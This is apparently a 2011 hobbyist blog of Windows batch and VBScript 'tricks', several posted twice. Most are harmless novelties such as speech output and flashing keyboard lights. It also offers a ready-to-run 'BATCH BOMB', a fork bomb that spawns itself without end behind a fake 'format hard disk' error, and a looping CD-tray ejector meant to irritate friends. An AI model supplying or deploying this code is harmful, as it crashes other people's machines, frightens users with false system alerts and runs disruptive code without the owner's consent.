Here's a funny and simple code.
That makes your system speak.
CODE#
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak "txt here"
Just write anything in "txt here" and listen.
Think About it......
"If you are a good hacker, everyone knows your name. If you are a great hacker, no one knows who you are."
Friday, January 14, 2011
Create a BATCH BOMB
Code:
@echo off
:START
echo Error, Critical Windows Failure. Format Hard Disk and Reinstall OS!
start bomb.bat
GOTO START
NOTE:save this file as bomb.bat
Don't use it to harm others systems.
Remember it's just for educational purpose
@echo off
:START
echo Error, Critical Windows Failure. Format Hard Disk and Reinstall OS!
start bomb.bat
GOTO START
NOTE:save this file as bomb.bat
Don't use it to harm others systems.
Remember it's just for educational purpose
Tuesday, January 11, 2011
Advanced batch example - conditional shutdown
A Batch coding that performs conditional shutdown..... try it
@echo off
color 3
title Conditional Shutdown
set /p name=enter a name:
:start
cls
echo Hi this is bangu, %name%
echo.
echo 1.Shutdown
echo 2.Quit
set /p choice=enter your choice 1,2:
if %choice%==1 goto shutdown
if %choice%==2 exit
:shutdown
cls
set /p sec=enter the number of seconds that you wish the computer to shutdown in:
set /p msg=enter the shutdown message you wish to display:
shutdown -s -f -t %sec% -c "%msg%"
echo shutdown initiated at %time%
set /p cancel=type cancel to stop shutdown
if %cancel%==cancel shutdown -a
if %cancel%==cancel goto start
@echo off
color 3
title Conditional Shutdown
set /p name=enter a name:
:start
cls
echo Hi this is bangu, %name%
echo.
echo 1.Shutdown
echo 2.Quit
set /p choice=enter your choice 1,2:
if %choice%==1 goto shutdown
if %choice%==2 exit
:shutdown
cls
set /p sec=enter the number of seconds that you wish the computer to shutdown in:
set /p msg=enter the shutdown message you wish to display:
shutdown -s -f -t %sec% -c "%msg%"
echo shutdown initiated at %time%
set /p cancel=type cancel to stop shutdown
if %cancel%==cancel shutdown -a
if %cancel%==cancel goto start
Pop CD-Rom continously.......
Guys this is a simple trick to irritate your friends by popping his CD-Rom every time he closes it.
CODE#
Set oWMP=CreateObject(“WMPlayer.OCX.7")
Set colCDROMs=oWMP.cdromCollection
do
if colCDROMs.COunt>=1 then
For i=0 to colCDROMs.count-1
colCDROMs.Item(i).Eject
Next
For i=0 to colCDROMs.COunt-1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop
enjoy!!!!!!!
CODE#
Set oWMP=CreateObject(“WMPlayer.OCX.7")
Set colCDROMs=oWMP.cdromCollection
do
if colCDROMs.COunt>=1 then
For i=0 to colCDROMs.count-1
colCDROMs.Item(i).Eject
Next
For i=0 to colCDROMs.COunt-1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop
enjoy!!!!!!!
Sunday, January 9, 2011
DANCING KEYBOARD LIGHTS....
An Amazing Disco Light of KeyBoard...
Try it.....
HERE'S THE CODE
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 200
wshshell.sendkeys "{CAPSLOCK}"
wscript.sleep 100
wshshell.sendkeys "{NUMLOCK}"
wscript.sleep 50
wshshell.sendkeys "{SCROLLLOCK}"
loop
This script when executed makes your Caps,Num,Scroll lock keys flash.......!
Just Watch Your Keyboard Lights...!
Try it.....
HERE'S THE CODE
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 200
wshshell.sendkeys "{CAPSLOCK}"
wscript.sleep 100
wshshell.sendkeys "{NUMLOCK}"
wscript.sleep 50
wshshell.sendkeys "{SCROLLLOCK}"
loop
This script when executed makes your Caps,Num,Scroll lock keys flash.......!
Just Watch Your Keyboard Lights...!
MATRIX SCENES
Hey Guys all of you must have seen the MATRIX movie and noticed the Fast moving data in the system screen in GREEN color.
That's just a simple trick even you can perform it too.
Use it to make a cool impression on your friends.
Here's the CODE
CODE 1#
@echo off
color 0A
:SCROLLR
echo 5 a 8 b d 8 h 5 a c o l 4 3 1 5 a 8 b d 8 h 5 a c o l 4 3 6 1 5 a
echo 3 2 4 f c p 3 m 9 u u l m 4 3 2 0 f c p 3 m 9 u u l m d 4 5 a c o
echo a c o R 4 3 2 h h 5 4 3 l 7 + a c o l 4 3 2 h h 5 4 3 l 7 j y 3 m
echo 5 a 8 b d 8 h 5 a c o l 4 3 1 5 a 8 b d 8 h 5 a c + l 4 3 6 5 a c
echo 3 2 0 f c p 3 + 9 u u l m 4 3 2 0 f c p 3 m 9 u u l m d 4 u l m 4
echo a c o l 4 3 2 h h 5 4 3 l 7 5 a c o l 4 3 2 h h 5 4 3 l 7 j y p 3
echo 5 a 8 b d 8 h 5 a c o l 4 3 1 5 a 8 b d 8 h 5 a c o l 4 3 6 1 5 a
goto SCROLLR
CODE 2#
@echo off
color 0A
:start
echo 10101010101010101010101010101010101010101010101010101010101010101
echo What IF I TOLD YOU EVERYTHING YOU KNOW IS A LIE?
echo 10100010101000101010001010100010101000101010001010100010100010101
goto start
HAVE FUN WITH THIS CODES!!!!!!!!
That's just a simple trick even you can perform it too.
Use it to make a cool impression on your friends.
Here's the CODE
CODE 1#
@echo off
color 0A
:SCROLLR
echo 5 a 8 b d 8 h 5 a c o l 4 3 1 5 a 8 b d 8 h 5 a c o l 4 3 6 1 5 a
echo 3 2 4 f c p 3 m 9 u u l m 4 3 2 0 f c p 3 m 9 u u l m d 4 5 a c o
echo a c o R 4 3 2 h h 5 4 3 l 7 + a c o l 4 3 2 h h 5 4 3 l 7 j y 3 m
echo 5 a 8 b d 8 h 5 a c o l 4 3 1 5 a 8 b d 8 h 5 a c + l 4 3 6 5 a c
echo 3 2 0 f c p 3 + 9 u u l m 4 3 2 0 f c p 3 m 9 u u l m d 4 u l m 4
echo a c o l 4 3 2 h h 5 4 3 l 7 5 a c o l 4 3 2 h h 5 4 3 l 7 j y p 3
echo 5 a 8 b d 8 h 5 a c o l 4 3 1 5 a 8 b d 8 h 5 a c o l 4 3 6 1 5 a
goto SCROLLR
CODE 2#
@echo off
color 0A
:start
echo 10101010101010101010101010101010101010101010101010101010101010101
echo What IF I TOLD YOU EVERYTHING YOU KNOW IS A LIE?
echo 10100010101000101010001010100010101000101010001010100010100010101
goto start
HAVE FUN WITH THIS CODES!!!!!!!!
Subscribe to:
Posts (Atom)
